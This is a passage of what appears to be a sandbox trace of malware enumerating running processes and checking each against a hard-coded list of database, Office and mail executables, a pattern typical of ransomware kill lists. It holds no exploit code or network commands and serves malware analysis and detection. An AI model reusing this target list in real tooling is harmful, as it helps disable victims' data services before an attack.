(lpString1="csrss.exe", lpString2="stream.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="thebat.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="thebat64.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="Thunderbird.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="visio.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="winword.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="wordpad.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlwb.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlbrowser.exe") returned -1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="agntsvcencsvc.exe") returned 1 [0026.345] lstrcmpiW (lpString1="csrss.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0026.345] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="msftesql.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="sqlagent.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="sqlwriter.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="oracle.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="ocssd.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="dbsnmp.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="synctime.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="mydesktopqos.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="agntsvc.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="isqlpplussvc.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="isqlpussvc.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="xfssvccon.exe") returned -1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="mydesktopservice.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="ocautoupds.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="encsvc.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="firefoxconfig.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="tbirdconfig.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="ocomm.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="mysqld.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="mysqld-nt") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="mysqld-opt") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="dbeng50.exe") returned 1 [0026.346] lstrcmpiW (lpString1="wininit.exe", lpString2="sqbcoreservice.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="excel.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="infopath.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="msaccess.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="mspub.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="onenote.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="outlook.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="powerpnt.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="stream.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="thebat.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="thebat64.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="Thunderbird.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="visio.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="winword.exe") returned -1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="wordpad.exe") returned -1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="sqlwb.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="sqlbrowser.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="agntsvcagntsvc.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="agntsvcencsvc.exe") returned 1 [0026.347] lstrcmpiW (lpString1="wininit.exe", lpString2="agntsvcisqlplussvc.exe") returned 1 [0026.347] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="msftesql.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlagent.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="sqlwriter.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="oracle.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="ocssd.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="dbsnmp.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="synctime.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="mydesktopqos.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="agntsvc.exe") returned 1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="isqlpplussvc.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="isqlpussvc.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="xfssvccon.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="mydesktopservice.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="ocautoupds.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="encsvc.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="firefoxconfig.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="tbirdconfig.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="ocomm.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld-nt") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="mysqld-opt") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="dbeng50.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="sqbcoreservice.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="excel.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="infopath.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="msaccess.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="mspub.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="onenote.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="outlook.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="powerpnt.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="stream.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="thebat.exe") returned -1 [0026.348] lstrcmpiW (lpString1="csrss.exe", lpString2="thebat64.exe") returned -1 [0026.349] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0026.350] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0026.350] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0026.350] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0026.351] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0026.351] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0026.352] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0026.352] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0026.353] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0026.353] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0026.354] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0026.354] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0026.355] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0026.355] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0026.356] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0026.356] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0026.357] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0026.357] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0026.358] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0026.358] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0026.359] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0026.359] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0026.359] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="functionality-complimentary-planner.exe")) returned 1 [0026.360] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trim.exe")) returned 1 [0026.360] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="performer_dan_matt.exe")) returned 1 [0026.361] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="letters.exe")) returned 1 [0026.361] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives-baths.exe")) returned 1 [0026.362] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jjcorrelation.exe")) returned 1 [0026.362] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="changelogthreadalbuquerque.exe")) returned 1 [0026.363] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="configuringlisa.exe")) returned 1 [0026.363] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="terrace.exe")) returned 1 [0026.364] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="temporal-spine.exe")) returned 1 [0026.364] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="softwarehelenaestimates.exe")) returned 1 [0026.365] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="freight_bradley_website.exe")) returned 1 [0026.365] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vaccine.exe")) returned 1 [0026.366] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-nasa-deaths.exe")) returned 1 [0026.366] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hull grammar candles.exe")) returned 1 [0026.367] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0026.367] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0026.367] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0026.368] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0026.368] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0026.369] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0026.369] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0026.370] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0026.370] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0026.371] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0026.371] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0026.372] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0026.372] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0026.373] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0026.373] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0026.374] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0026.374] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0026.375] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0026.387] CloseHandle (hObject=0xf0) returned 1 [0026.387] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0026.387] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0026.388] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0026.389] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0026.389] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, 